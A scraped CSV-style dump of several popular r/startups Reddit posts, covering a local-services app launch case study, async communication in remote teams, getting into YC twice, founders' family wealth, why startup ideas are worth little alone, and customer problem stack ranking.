So in my case building an app for local service companies scored a 90 on this scale. The only thing missing was that it would take a little more than 60 days to get our first customer, but because I was already running a local business and had put out a ton of content around local, I already had customers lined up even before the first version of the product was complete. ←- Can’t stress how important this is, and you’ll see why soon. OKAY SO HERE'S WHAT I DID TO GET MOVING: ====================================== **STEP 1: FIND A TECHNICAL CO-FOUNDER** If you can code you can skip this step and code that bad boy yourself, but I knew I would need a technical co-founder. I reached out to a friend whose husband was a developer, and told him what I wanted to build. At first he wasn’t interested, so I decided to do it myself (not like I’m going to live forever lol) and made a post on Upwork to find a developer. My taking action on it changed his mind, and he came on board, things worked out, and he has since quit his job and works on the app full time. **STEP 2: FINDING A DEVELOPER** Upwork. That’s it. I made a post, outlining what I was looking for and tried to find the single best person I could find with the most completed projects and the highest ratings. They started out at $35 per hour. Bonus if you can give them a small project first to make sure they complete things on schedule, communicate well, have good availability etc. But once we figure that out, it’s on. Our investment (and the only investment we ever made) was $5,000 each between me and my partner. **STEP 3: CREATE SPECS** This doesn’t have to be a really complicated process in the beginning. I simply put together how I wanted things to flow with a few screenshots for visual aids and explanation and that was that. It helps to go through every single app you can find in the space to get some ideas. Here’s the actual “specs” I wrote out that the developer started with: >>> (Had an imgur link to specs but mods made me remove it) Of course as things got going we got more complex, but this was legit how things started. **STEP 4: LAUNCH CONTENT** You need content. I don’t care what you’re selling. I never launch a business with ads. Instead by creating a content around the product you can start a two-way conversation with your audience, get to figure out what they are looking for, what makes them tick, and start to build your audience. I had put out a ton of content on local a WHOLE year before the app was even conceived (contrary to what folks with fuzzy memories think) and then started to put out more when I knew it was going to be a thing. **STEP 5: FINDING FIRST CUSTOMERS** If you made sure you’re building something that people need, if you’ve nurtured and connected with those folks for months before the launch, have put out solid content, and have kept folks excited along the way, you WILL get customers on launch day. But your app isn’t going to be beautiful yet (and you shouldn't wait until it's beautiful to launch), and folks won’t mind as long as the main functions are there. So what I said was: 1) We’re going to be pricing this product at $x price per month. 2) We’re going to be adding a ton of features 3) Sign up now while it's still ugly at a discounted price, like 60% of $x and you’ll be grandfathered in at that price forever and take advantage of all the sweet updates and additional features at no additional cost. This works like a charm! IMPORTANT: So the revenue from first customers pays for ongoing development and we never had to put any more money into the platform!!!!! **STEP 6: NOT WORRYING ABOUT IDEA GETTING STOLEN** See the first section in Step 5. You can’t do this by trying to build in secret. As a matter of fact when I’m building something I want to tell as many people as possible to get feedback, get buy-in, and making sure I”m not building into a black hole. I want people anxiously waiting and knocking down my door before the thing is even done. Building it in secret (and nobody is waiting to buy at launch) is a much bigger risk to me than any thoughts of the “idea being stolen”. **STEP 7: THE STORY-TELLING ARC** Beyond launch content it’s incredibly important to tell the story of the brand. Every brand story is different, but there are certain stories that really resonates with people. Think of how many brands that tell their story of having “started in a garage”. If this is your story, don’t hesitate to tell it. People often buy story more than they buy the actual thing. Be transparent and honest and human and your thing will connect. Here’s a tiny bit of the story telling arc around myself and this project >>> (Had an imgur link to storytelling arc but mods made me remove it) **STEP 8: BUILDING COMMUNITY** So as we put out content, told our story, worked on the app, and folks on our platform started to see success, we knew we had to build a community. For us, and I think this is critical, we look to build a Facebook group or subreddit or forum or whatever we can think of for any product or service we put out. This helps with feedback, first adopters, testers for new features, and folks help each other out thus helping with customer support. And of course folks post their results which acts as inspiration for everyone else. **Step 9: TESTIMONIAL MARKETING** By now you have folks on the app that are doing well, you need testimonials. Think of going to a restaurant without first checking out their Yelp reviews. Or watching a movie without checking out Rotten Tomatoes (well this is me at least haha). But this is human. People need to know that other people use it and are happy with it. There are multiple types of testimonials but the ones that work best for us are these: Type 1: More serious Video testimonials (We just hire a videographer on Craigslist for like $150 in our customer’s city and send them to our client’s home so it looks professional). Don't want to post one of these because it's too much like an ad. Type 2: More fun: Video testimonials (One of our clients and my friend just did this on her iphone with a random dude recording in the park LOL) (Had a link to video but mods made me remove it) Type 3: Candid - Screenshots from our Facebook group to show community and that folks help each other. **STEP 10) WEBINAR MARKETING** This is just another more formal way of telling your brand story, showing testimonials, highlighting your community, and extending your brand. So at this point you have all those items in place, and a webinar presentation allows you to wrap everything up in a nice neat bow for people live and in real time. Here is a snippet of actual slides from one of our webinars: (Had a link to a short snipped of slides but mods made me remove it) **DEMOGRAPHICS;** So a lot of our first customers were from Reddit but we've since grown so far beyond that. Folks on the app sell everything local imaginable, from cleaning to bike repair, to auto detailing, to even babysitting and we have a ton of existing companies that came over from other platforms. =============================== So that’s the core of the thing and I’m happy to answer any questions I can answer on this process. There are a gazillion opportunities to build improvements on existing apps by niching down into one particular vertical, by niching down by location, or in some other way. Not everything has to be “super scaleable $100 million dollar home-run”. I’m sure many of you have the skills to build a simple app, bring in a nice 6 or 7 figure check every year, and go sit on the beach somewhere if you would like. 2019 is as good a year as any to make it happen! ==== And as usual I like to post the companies we use when I post these case studies but mods made me remove the list. Yep, 2019 is the year I get into the fitness space. Stay tuned...😉 ======== So I know reddit is the land of cynics, naysayers, back-seat drivers etc. I tried to remove anything from this that even seems like an ad for the app (If I missed something let me know and I'll remove that too), but Im not going to spend my xmas eve going back and forth with random weird stuff, lol I'd rather just delete it and go play spades or something. lol --- But if you have any questions on the development process, time to first customers, ramping things up, sales, marketing, how we approach growing it, content distribution, or anything like that fire away and I'll respond! ",localcasestudy,707,204,1545678280,/r/startups/comments/a97q34/from_a_sucky_accounting_job_to_doing_14_million/,https://www.reddit.com/r/startups/comments/a97q34/from_a_sucky_accounting_job_to_doing_14_million/,self.startups,True,,,,, 11l3el0,startups,"Having worked at a dozen startups for over 15 years, working for the ""mission"" is bullshit",[deleted],[deleted],689,153,1678205429,/r/startups/comments/11l3el0/having_worked_at_a_dozen_startups_for_over_15/,,,True,,,,, ttqrpb,startups,I run a fully-remote startup with ~25 people. This is how we communicate across ~8 time zones.,"For the last 2-ish years, I've been running a fully-remote, global startup. We don't have offices. We don't use time tracking apps. We hardly have Zoom calls. And... We're spead out over roughly a dozen countries (the digital nomads on the team make this a hard number to count). Which brings me to this post: Communication. Most remote teams try to import the office OS into their remote working environment––which means lots of synchronous communication, like meetings. But, this really doesn't work. Below, I'll share what I've learned about communication at my startup. I hope you'll find it interesting. **The one-sentence summary:** Good remote startups (and teams, in general) default to asynchronous communication. * **Async communication =** Communication that doesn’t happen in real-time (for example, emails are a classic example of asynchronous communication. Slack messages, when not carried out as a full, real-time conversation, are also asynchronous.) Async is the bedrock of a good communication system while remote. You simply can't expect a global, fully-distributed team to be sitting on Zoom at odd hours. **More importantly,** meeting culture kills productivity. Every time somebody has to be on a meeting, they're not doing the actual work you're paying them to do. Async work is really important. And here are a few practical ways I've implemented it at my company: **1.** **Create clear communication norms across your entire startup.** We have, literally, a flow chart that helps people understand how they should communicate something. For example, if someone external is involved, the default is email. If it's a quick, internal message **and** it's extremely time-sensitive (say, action is required within a few hours), we use DMs on Slack. If it's a thoughtful conversation, or one that doesn't require immediate action, we use a forum-like platform that's built to host these sorts of conversations. By creating communication norms, you can make sure everyone's communicating the same way––and that people aren't getting ripped out of deep work by meaningless notifications. This is basically communicating from first principles: You're breaking down your means of communication to their basic parts to identify what should be said where. **2. Get better at writing.** Most of us are bad at writing. This is true for both you, as a founder, and everyone who works at your startup. But, most async communication happens in a written format. Which means that you, and your team, should study what good written communication looks like. Once you've defined rules for what good written communication means at your startup, put it into a Notion doc (or similar) so everyone can follow the same handbook. **3. Get as close to 0 meetings as you can.\*** \*You're probably won't ever have 0 meetings on a remote team, and you probably shouldn't. But, recognize what meetings should and shouldn't be used for. Examples: * **Meetings are great for brainstorming jam sessions + teambuilding.** When your team is spread across the world, it's important that they do actually *talk* to each other. A profile picture on Slack isn't enough. * **Meetings aren't great for 99% of other stuff.** Anything outside of focused jam sessions, weekly team updates, and teambuilding probably shouldn't be a meeting. **Something crazy you can try:** If you're finding it hard to get rid of meetings, try a completely async week at your startup. As in, a week where you don't have *a single meeting*. See how it goes. It probably won't be ideal, but it'll help you realize what things you may not need meetings for. We tried this about a month back and it was really insightful. **That's it for this post --** I just wanted to share a few thoughts on how communication looks at a fully-remote startup. I've begun writing similar posts on this for innovation, wellness, and knowledge systems. If you enjoyed this one, let me know and I can make this a series :) (Edit for context: The reason our startup is so spread-out and global is because our actual product makes it possible for people to hire & pay & run global teams. So... We practice what we preach, and it's not as much of a hassle since we've got the systems in place for it.) ... To close, if you're doubting me on meetings, here's a quick thought experiment: Imagine somebody is working a classic 9-to-5. They've got one meeting scheduled for 11 AM and another for 3 PM. It's my theory that, in this scenario, that person has lost \~90% of their productive time that day. With just two meetings. **This is why:** They get to work, check some emails, and they've already got the spectre of that 11 AM meeting hanging over their head. They won't get into any serious deep work before the meeting, because they know it'll get cut off at 11. OK, they have the 11 AM meeting. Then they've got lunch. After lunch, they (once again) only have an hour or two before their next meeting. This isn't enough time for most people to get into a serious deep flow state. So they get some things done, but not much. Then that 3 PM meeting is over, and they've got roughly an hour before their day is over. Nobody gets intense deep work done in the final hour of the day, as a general rule. So... That's where \~90% of their effort went. Gone. It's not just the meetings that waste productivity. It's the way those meetings interact with the rest of the time in your day. Hopefully this makes sense :) It's something we've been passionate about at my startup.",matt-redler,679,107,1648819965,/r/startups/comments/ttqrpb/i_run_a_fullyremote_startup_with_25_people_this/,https://www.reddit.com/r/startups/comments/ttqrpb/i_run_a_fullyremote_startup_with_25_people_this/,self.startups,True,,,,, hlsj2t,startups,"How I got into YC twice, with 2 different ideas, in back-to-back years","Hey all. This is my story of how I got into YC twice, with 2 different ideas in back-to-back years. My style of entrepreneurship is different from most because I launch companies in spaces where I start with 0 domain knowledge. Here's my process. *Edit 1: Moderators removed my original post because I added some names; I removed the names .* *Note 1:* *Thank you moderators for the helpful feedback.* # Intro From 2018 to 2020, I launched 2 companies. Both were accepted into YCombinator. The first company was a computational drug-discovery company for Alzheimer's Disease (accepted YC S18, but now dead). The second company was a CRM for construction trade contractors (accepted YC S19). I launched both companies while I worked at Uber ATG as a software engineer building self-driving cars. In both cases, I started with 0 experience in the healthcare or construction industry. Here's my personal process for discovering ideas and getting ideas off the ground. # Talk to people A startup succeeds by building a product that solves a problem so most first-time founders will start by asking >What problem do I solve? Actually that's the wrong question to start with. The right question is >What process can I follow to discover interesting problems? The first question is difficult to answer for founders with 0 insights about an industry. To see this, try to answer the following questions for an unfamiliar industry like pest-control or waste management. * What are the interesting problems in this space? * Which problems will people pay money for? * Why do people care are about these problems? * What is the root-cause of these problems? * What do potential solutions look like and why haven't they been built? * How might you launch a solution and generate initial traction? Most people are stuck. The takeaway is that without insight, there cannot be innovation. *To get unstuck, talk to people.* *To find problems, talk to people.* *To generate insights, talk to people.* When we founded our construction tech company, my cofounder and I had 0 construction experience. To start, we sourced 20 conversations with construction experts in our network. We talked to owners, general contractors, project managers, estimators and superintendents and asked them simple questions. * What does your day-to-day look like? * What was something that frustrated you last week, last month? * Why did that process frustrate you? * What tools and processes do you use to get around those frustrations? Very quickly, we started hearing things like >""I hate arguing with subcontractors over percentage completed"" &#x200B; >""I have to drive 3 hours each week to inspect the site because I'm paranoid people will slack off and take shortcuts"" &#x200B; >""I enter in the same deadline in 3 different spreadsheets"" Over time, we heard the same stories from multiple people and these stories surfaced themes in construction: cost disputes, late payments, excessive data-entry. These same themes would go on to inspire our initial ideas. It turns out the process for identifying promising startup ideas is not complicated. Talk to lots of people and let those conversations inspire you. This works because conversations are raw-unfiltered looks into how an industry operates. They will contain stories of day-to-day frustrations that industry experts face; these frustrations are clues for possible areas for innovation. Think of each conversation as a puzzle piece and the job of a founder as compiling those pieces into a promising startup idea. My experiences with launching both companies have taught me that a rigorous process for learning matters far more than any single idea. A reliable process for learning enables founders to be deliberate about iterating towards good ideas, rather than leave this process to chance. What makes launching in non-familiar industries so difficult is the chicken-and-egg problem of ""how do I get people to talk to me and share their wisdom even if I don't have anything to offer immediately?"". I wish I had a playbook for this problem. Unfortunately, I don't because sourcing conversations is more art than science - an art that changes based on industry, a founder's network and circumstances. # Just find any reason to launch At some point, learning stagnates from conversations alone and you have to launch a product to actually build a company. While visionary founders can design products based on empathy for a specific problem and the users that face that problem, non-visionary founders must build products for unfamiliar audiences.¹ As a result, the first product a non-visionary founder launches is often misguided, especially if the product is based solely on intuition from conversations. There are simply product insights that cannot be intuited from conversations alone. * Is this problem actually painful to the user or do they just think that it is? * Does the product solve an industry problem or just a company-specific problem? * Does the product solve the pain-point effectively? * Is the product easy to use? * Can the product overcome entrenched processes and gain adoption? Early-on, non-visionary founders need a sandbox that enables them to launch products (potentially multiple), iterate and learn from users in the industry. This is another chicken-and-egg problem; you need a sandbox to learn, but it is difficult to build a sandbox if you don't have much to offer upfront. To build sandboxes for both companies, I relied on a technique called a minimum launchable reason, which just means find any reason to launch a product/service/collaboration/project in your target industry. I used the following playbook * Use conversations to identify a industry problem * Look for industry partners to collaborate on solving that problem * Cold outreach to industry partners pitching a project It does not matter what reason enables you to launch. All that matters is that you launch because launching enables you to learn 10x faster. For the drug-discovery company, I launched by volunteering to do research with a computational biology lab at Carnegie Mellon University. For construction-tech company, I launched by collaborating on a robotics project with a large construction company in Pittsburgh. Building sandboxes is an art so I copied the original emails I used to build these sandboxes *(To comply with Reddit rules, I'm excluding those emails in this post)* In my case, launching a research project the computational biology lab unlocked rich insights about designing a drug for Alzheimer's because I was able to tour biology labs, discover how data pipelines are created in biology and hear first-hand the challenges lab members had when running Alzheimer's experiments. Collaborating with a real construction company exposed me to real construction sites. I saw actual construction photos and witnessed the common spreadsheet templates that the construction industry used to document progress. If conversations are the ember sparks for startup ideas, then a sandbox ignites a raging inferno for startup ideas. With a sandbox in place, the process around innovation becomes straight-forward. * Look for problems by talking to experts and observing their day to day * Identify a problem * Launch a product * Gather feedback * Move fast and repeat until you get traction (e.g. signed LOI, revenue) What is non-obvious is how often early ideas will be wrong. Even more non-obvious is just how inconsequential being wrong really is. What matters is building a process around shipping products quickly because shipping unlocks learning and learning leads to good outcomes (e.g. discovering a product that is impactful). My cofounder and I did 3 product launches across 6 months before arriving at what our construction company is currently building - a CRM for trade contractors. It took us 4 months to launch our first idea (autonomous robots to scan construction sites). It took us 1 month to launch our second idea (a construction analytics platform). It took us 1 weekend to launch our third idea (a CRM for trade contractors). We didn't necessarily get smarter each time.The key skillset we developed was shipping faster and figuring out creative ways to learn faster. Hence, the central question to ask is not >Is this a good idea? rather, >What can I do to learn faster so that I can position myself to find a good idea? # 100% Founder Conviction The startup world points to product-market-fit as the single most important milestone for a company. I actually think the most important milestone is a concept called 100% founder conviction and it refers to the moment when the founders develop unshakable conviction that their idea will work. I didn't have 100% founder conviction for drug-discovery company, but I do for our construction company. While I cannot describe this feeling, I remember the exact moment it happened. For months, we struggled to generate traction for our first two construction ideas. Demos were hard to come by, despite 100s of emails. I always felt like the reception to our product was lukewarm during demos. Even when we generated revenue, I felt like construction companies gave us pity deals, where the money came out of a small innovation budget used to experiment with new technologies. Our CRM idea was different. Within a week of launching, we booked a demo through a cold call with an electrical contractor! A week later, we demo'd the product and got our first signed contract. In the first month, we signed 3 customers. This was more deals than we had ever booked for all our previous ideas combined. Each sale was smooth and I felt this ""aha"" reaction from each of customer, where they nodded and said ""this is pretty useful"". Unlike our previous ideas, none of these early customers paid attention to how small we were as a company or how ugly our initial solution looked (and trust me it was ugly). All that mattered was that we solved a painful business problem and they wanted that business problem solved immediately. I suspect the 100% founder conviction stems from my personal belief that our current company is solving a real problem and that many, many people in the world have this problem. This doesn't mean that we don't face challenges. * We might fail to sell our product fast enough before we run out of money * We might not convince investors to give us seed capital * We might have trouble inspiring employees to join us The difference is that all those challenges feel tractable. Like product-market-fit, 100% founder conviction is not quantifiable, but it's this special moment when the mindset shifts from >Will this idea work? to >This idea will work. We just need to generate the proof points that will convince the world of such. Focus on finding 100% founder conviction because the moment you find it, you'll find a way to will your company into existence regardless of obstacles. # Some advice to my younger self For the first 7 years of my startup journey, I could never be sure if I were making progress. Lots of sleepless nights. Lots of moments where I felt like a loser, chasing impossible dreams. I'm sure a lot of founders feel this way. I'm sure a lot of successful founders once felt this way. So much of what makes startups difficult in the beginning is the psychological burden of uncertainty. * Am I making progress on my startup? * How should I define progress for my startup? * When will a promising idea appear? * How do I get initial traction? If I could go back in time, I'd tell my younger self to just focus on 2 things. * **Rate of learning**: Am I learning quickly about my space and idea? * **100% founder conviction**: Have I found 100% founder conviction? Looking back, I wish I spent less time reading TechCrunch articles featuring big fundraises or VCs discussing post-PMF concepts (network effects, sales efficiencies, LTV/CAC) because none none of that matters in the early days. If anything, that content is detrimental for early-stage founders. I wrote this because I always wished more founders wrote about how they discovered ideas and how they generated early-traction. I wish more founders wrote about their origin stories. These stories move people and I sometimes think a dearth of these stories prevents a lot of talented people from building startups, people who could otherwise have outsized impacts on the world.",logarithm-construct,658,76,1593977287,/r/startups/comments/hlsj2t/how_i_got_into_yc_twice_with_2_different_ideas_in/,https://www.reddit.com/r/startups/comments/hlsj2t/how_i_got_into_yc_twice_with_2_different_ideas_in/,self.startups,True,,,,, ssbf2j,startups,Is success really tied to having rich parents?,"Today I was listening to a podcast with Vitalik Buterin founder of Ethereum. At first I was like: Wow, great guy, he made it from nothing. Then he said: ""I dropped out of college and was traveling all around the world..."" Wait a minute, I google his father and his father is a founder of 3 multi-million dollar companies. This is not the only example. Elon Musk - Had a rich father Mate Rimac (guy who made the fastest electric car in the world) - father was rich [https://www.theguardian.com/business/2021/jan/31/small-business-entrepreneurs-success-parents](https://www.theguardian.com/business/2021/jan/31/small-business-entrepreneurs-success-parents) It even goes beyond tech, like Ed Sheeran and Ariana Grande, come from rich parents. They all definitely worked hard for success, but when you have a rich background, no need to worry about job, rent, food or education, you can do so much more, focus your mind wherever, invest money, invest time... I used to be very motivated by the fact that anyone can succeed, but is seems to me like there is always something that happened behind the scenes that nobody talks about",[deleted],655,453,1644847512,/r/startups/comments/ssbf2j/is_success_really_tied_to_having_rich_parents/,https://www.reddit.com/r/startups/comments/ssbf2j/is_success_really_tied_to_having_rich_parents/,self.startups,True,,,,, jodycd,startups,Here is what your idea is worth.,"What follows is a rant that is not directed at anyone in particular, just something I want to say to at least 50 people a year who pitch me on their “big idea” because they think I can help them. --- EDIT: skip this part if you don't want to hear me brag, I added it to hopefully provide some credibility as to why you should learn from my experience -- I have been fortunate enough to be involved with a couple of startups that went on to achieve unlikely outcomes. I don’t ever have to work again. I’m the guy you know: your friend of a friend, your cousin, your previous coworker. The guy that got rich from his “app”. I have been fortunate enough to participate in the process as a low level employee, a CEO, an investor and a founder. I have been a part of 2 acquisitions in excess of $200M by public companies, in ventures that I started or joined when they were napkin sketches. In both consumer and b2b, all have been in software (or “apps”). Companies you have heard of (the acquirers at least). I have authored 7 patents that have been issued by the USPTO, and I can tell you these have almost nothing to do with the financial outcomes I have been fortunate enough to be a part of. Of the 30+ “ideas” that I have poured untold hours and (investors) money in to, only maybe 5 have created any kind of return. Edit: this is a shocking understatement, as I think about it I have been a part of launching at least 70 apps on the app stores. A couple got traction. The rest, in hindsight, bombed. Millions of dollars burned and tens of thousands of hours - no regrets, the wisdom I have gained is as much from the failures as the successes. I derived a ton of value from what I learned in the process of trying to execute them as well as I could. While I have been successful by most standards (I am 43 and worth $20M+), I have been a part of raising and burning at least $500M of investor money. Maybe $50M of that got it back (and then some), around $20M of it got a 10-30x return. The rest was lost to the brutal landscape of the marketplace. I’m sharing this because every month I take the time to hear 3-5 “big ideas” from people who think that if I hear about their magical “precious” I will be astonished and be dying to help them build it and get rich. “If you want to help me with this I’ll cut you in on it” they say. Get the fuck outta here! You think I don’t have 10 precious ideas of my own that I lack the conviction or time to execute - but at least have done the nominal vetting to have a belief in? Come on man! In most cases the “inventor” ends up disappointed with my feedback, and while I realize I could be better at how I give it, there are some consistent themes that reflect a broad misunderstanding of how ideas translate into generational wealth. I hope this is helpful and please do not take it personally. Hear me now and believe me later. -- END OF BRAG SECTION -- — Here Is What Your Idea Is Worth — Zero. Less than zero, actually, because the minimal time needed to be spent in order to some basic research to validate it, which you haven’t even begun, costs money. I know your idea is precious. I know this because I have my own precious ideas. I know this because I know the feeling I got from buying my first powerball ticket. In spite of being very fluent with the math I spent all afternoon thinking about what would happen if I won. After 3 hours of fantasizing it seemed plausible. And this is so much more than a powerball ticket - it’s your genius idea! And you’ve been “working” on this idea for years! If only you had the time, you’ve got your day job, your car payment, a new kid, etc. Life gets in the way. Your brilliant idea... someday is your ticket to the life you imagine. I’m truly sorry. It really isn’t. You carry it around like some kind of magic security blanket that is just a few simple steps away from making you rich. The “feedback” you’ve gotten is bullshit. Your friends and family love you: of course they are going to tell you it’s great: they would definitely use it, pay for it, invest in it, etc. Important: there are also ten billion dollar plus industries who profit from encouraging you to pursue your idea. Lawyers. Software dev agencies. Invention websites. Even the USPTO is funded mainly from guys like you trademarking and patenting your ideas before there is any indication that a business could be built based on them. In the course of over a billion dollars of fundraising and M&amp;amp;amp;amp;A that I have been party to, trademarks and patents have meant next to nothing. Your mileage may vary, but be advised that service providers and “advisors” work for cash and thus are incentivized to encourage you to pursue your idea with little scrutiny. Ask them to work for equity and see what happens. If they are credible, and they will work for equity, you might be on to something. Or they are inexperienced. The ads from “inventor websites” you see on TV are predatory; this is not how ideas translate to money, they thrive on taking your savings in exchange for telling you your idea is great and they will help protect it. *Please know: when you are secretive about your idea, when you ask me to sign an NDA, when you insist that your idea is worth anything at all; it tells me you are an amateur. I will not steal your stupid idea.* The main, most basic flaws I come across fit into a few categories: - Competitive research: most often I hear “there is nothing out there like this”. Do you even google bro? Upon doing 10 minutes of google or App Store research I can usually prove this is not the case. There are at least 10M software applications - you really think nobody has had your idea? It’s not a bad thing: thriving competition is actually a positive indicator to me that there is a market. How is your approach different? In most cases I can find 10 attempts at your idea that failed and a couple that show signs of life. Please be familiar with these - talk to the founders of them, and have a point of view on why your approach will achieve a different outcome than what I can easily find. When you believe your idea is unique and I can find 19 examples of it that have been tried already, I no longer take you seriously. Please have talked to multiple people who have tried your idea before you tell me they are a slam dunk. It’s not hard: use LinkedIn. I can’t stress this enough: I know it is uncomfortable to do the research and find 17 attempts at exactly what you’re thinking of and none of them are working, but just because you haven’t heard of the companies doing it doesn’t mean it hasn’t been tried. It would be insane to launch a new venture without understanding what’s out there. Most skip this step because it can be discouraging - this is where the fun starts. - Unit economics: sure everyone would want a better widget, but you need to understand the broad dynamics of what it will take to pay for the supply and demand for your product. If you build it they will not come - I promise you. You need to expect to have rely cost/effort to make people aware of your product. You need to have a sense for how your product will be created and how much that will cost. - Distribution: assume that if your product existed tomorrow, nobody would give a shit. Build and launch an app? You can count on 10 downloads in the first week and half of them are bots. As important as your idea is how you’ll generate awareness for it: half of the successful businesses today are simply taking a proven product or service and finding a new way to distribute it. These ideas are far more compelling than net new ideas because at least we know there is demand. A great example is the ghost kitchens that popped up from UberEats and Grubhub: a new mode of distribution suddenly creates huge opportunity for the most obvious thing: a fucking restaurant. But one with cheap real estate, and no place to sit. If your idea was to create ghost kitchens in cheap warehouses, now you’re thinking on the right level. But you weren’t were you. - Expertise: please do not tell me about your restaurant tech biz when you have neither worked in tech nor operated a restaurant. It is insulting to both tech people who eat, and restaranteurs who have a fucking smart phone. Assume that your idea had been thought of by both and if it doesn’t exist, please know it’s been thought of by many of both, and probably attempted. You need to have some unique insight or right to pursue this concept. If you aren’t sure, you don’t. Go back and become an expert in some aspect (domain or tech) of your idea. You’ll likely quickly learn why it’s much harder than you think. Every day billions of dollars are wasted by industry experts trying to do tech, or tech experts trying to do an industry they don’t know. Neither is easy to learn. You’re on to something when you have one of the two, and a credible cofounder or partner that has the other. Do not make the mistake of underestimating the creativity and expertise that is resident in the domain you wish to enter. - Market: on what basis do companies like yours trade? For example e-commerce businesses trade on ebitda, saas companies trade on ARR. Growth rate always matters highly. There are cases where a highly unprofitable business can be worth billions because of high growth and high margins (see: every public saas company). There are cases where highly profitable businesses are worth less than zero, because they are shrinking and have shitty margins. Understand this dynamic and have some semblance of an end in mind. —- Look, I get it. Life is hard - having a pet idea makes it more bearable. Just like having a lottery ticket. Just don’t delude yourself. The market is incredibly vast and competitive - if the idea you have is such a slam dunk, it would have already been done: You want to protect your pet idea so you can have some vague hope? That’s cool, I’m guilty too. Just don’t bring it to me and not expect me to apply the lens above to it. If you don’t have good answers to the above questions then you aren’t serious and you are wasting your time and mine. Be honest with yourself: is your idea a precious token that allows you to imagine being rich and important? Would it be really cool to be the person that came up with it? I get it. Just don’t confuse that with an actual premise for a business. Not sure? Go become a deep expert in something and figure out a way to solve a problem in that domain. You’ll know you’re a deep expert when people seek out your opinion on it. Until then it is fine if you want to keep deluding yourself with your pet rock, just stop wasting everyone’s time talking about it and for the love of god do not waste your hard earned time and money on it. Edit: forgot to add one more critical common mistake: stated vs revealed preference. You will of course get amazing feedback from your friends who ""all of them said they would pay for this"". It's useless. So are many forms of customer research and surveys (but not all). Do not mistake the difference between getting encouragement and getting money. Most people (even in anonymous surveys) will say they would pay for something that they wouldn't. Or, they would, but your costs to get in front of them at the right time with the right message, in the wild, make your model untenable (e.g. organic discovery and distribution is a big hack).",ohioguy1942,653,209,1604557732,/r/startups/comments/jodycd/here_is_what_your_idea_is_worth/,https://www.reddit.com/r/startups/comments/jodycd/here_is_what_your_idea_is_worth/,self.startups,True,,,,, nn3cbo,startups,Startup dream turned to nightmare. Partners tried to zuckerberg me after getting accepted into YC,[deleted],[deleted],646,192,1622223965,/r/startups/comments/nn3cbo/startup_dream_turned_to_nightmare_partners_tried/,https://www.reddit.com/r/startups/comments/nn3cbo/startup_dream_turned_to_nightmare_partners_tried/,self.startups,True,,,,, mmwphz,startups,How Stripe validates ideas for new products,"80% of products and features are rarely or never used. Why? Because they're solutions for problems customers don't care enough about. I spent over a year doing 100+ customer discovery interviews only to follow the wrong problem. I've also spent 5+ years as a Techstars Community Leader and Global Facilitator helping hundreds of early stage entrepreneurs from around the world to validate their ideas and build first-concept products. If there is one thing I've learned, it's that *validation is hard af*. At the end of March I came across [this thread](https://twitter.com/shreyas/status/1376033582305615873) by Twitter-wizard and product management genuis Shreyas Doshi describing a validation method called *Customer Problem Stack Ranking* that they use at Stripe. So I tried Customer Problem Stack Ranking out on my own startup and the value proposition that we spent 7 months of discovery reseach crafting came dead last with PMs. Dead. Fucking. Last. We learned more in 2 hours using this stack ranking approach than we did in 100+ customer discovery interviews. To explain how Customer Problem Stack Ranking works, I'm going to take a startup idea that I've heard at countless hackathons; an app that makes it easier for a group booking their holiday to split the cost of accommodation and activities. We can call this hypothetical app *Splitzies.* \--> To be upfront, I did use my own startup's tool to carry out this stack ranking method but the technique is applicable beyond our survey product so I won't plug it in this post. This process helped us out a lot, so it's worth sharing regardless. ## What is Customer Problem Stack Ranking? Customer Problem Stack Ranking (CPSR) tells you how important your idea is compared to the other problems your target customers experience. It's a simple data-driven approach to understanding whether your idea solves a burning pain point 🔥 or just a mild inconvenience 🙄 ## Step 1: Write Your Question Customer Problem Stack Ranking is a type of survey so it needs a question, which usually goes along the lines of ""*What is the most frustrating aspect about \_\_\_\_ ?*"". Your CPSR question should be broad enough that it allows your participants to explore all the problems associated with an activity rather than just the specific problem that you're trying to solve. For our imaginary app *Splitzies*, our 'activity of focus' is *booking a group holiday* so our question is: *What is the most frustrating part of booking a group holiday?* ## Step 2: Turn Your Idea Into A Problem Statement Asking target customers to rate your idea is a bad idea. As Rob Fitzpatrick's book [The Mom Test](https://youtu.be/0LwbFZkyRKk?t=88) explains, if you ask people about your idea they'll just tell you it's great so that they don't hurt your feelings. Instead, we need to turn our idea statement into a problem statement so that we can compare it to the other problems that customers face in our 'activity of focus'. For *Splitzies*, our problem statement could be: ""*Dividing the cost of a hotel booking is frustrating and complicated when planning a group holiday.""* You can create multiple problem statements to explore the different pain points your idea might solve and the different words your target customers might use to talk about the 'activity of focus'. If you're not convinced about the need to use problem statements, [here's a short video](https://www.youtube.com/watch?v=7kPrLMchT5o) from a serial entrepreneur. If you're struggling to write your own, [here's a quick how-to video](https://www.youtube.com/watch?v=kT0ZqwdPYRM) on problem statements. ## Step 3: Create Peripheral Problem Statements Brainstorm problem statements that fall under the same 'activity of focus' but aren't related to your idea. These can be informed by a handful of interviews using open-ended questions or by reading some ""pain points"" related blog posts/forums. We weren't super worried about missing some problem statements because the tool we used let participants add new statements for others to vote on. Lets have a go at writing some peripheral problem statements for *Splitzies:* * *Keeping a list of potential Airbnbs and hotels turns into a giant messy spreadsheet.* * *Agreeing on dates that suit everyone is a pain!* * *It's difficult to plan activities when I haven't organised a transport method like car rental or public transport.* * *It's hard to find out how expensive a destination is for general things like food and transport.* * *Some destinations are very different depending on time of year but good information on seasonality is hard to come across.* ## Step 4: Send Your Stack Rank To Target Customers Send your stack rank survey link to target customers. Pick one specific segment rather than a generic demographic to avoid noisy data. For example, if I send my *Splitzies* stack rank to both young parents planning a family holiday and student backpackers, they're going to have very different priority problems and our data will get all messed up. If you haven't got a pre-release waitlist, hit people's DMs on online communities, forums and social media. We joined a few Slack communities for Product Managers and got +25% response rate on a couple hundred messages for a Customer Problem Stack Rank we did on our own startup (this outreach only took a couple of hours one evening). ## Step 5: Iterate! You start to see priorities emerge very quickly once votes start rolling in. As participants add their own problem statements, you'll also learn about new pain points you hadn't known about. Use these learnings to inform new sample problems and continue pushing your link out to participants. ## Step 6: Results Sort all the problems by highest or lowest importance to stack rank your statements. In one click, you'll know how important your value proposition is compared to the other problems your target customers face. Like I said earlier, the results of the stack ranking experiement we did on our own startup showed us that the value proposition we had spent 7 months building through customer discovery research came dead last for our target users. What was surprising though, was that our stack ranking helped us realised the big picture problem we were interested in was actually really important to our target customers, but they were using a *completely* different vocabularly to us. The words we were using couldn't have been resonating less. So, we took the top 6 most important problems from our stack rank results and rewrote our entire landing page and onboarding experience. Now we're back to testing that proposition (early signs are showing better conversion, but we only just changed it recently 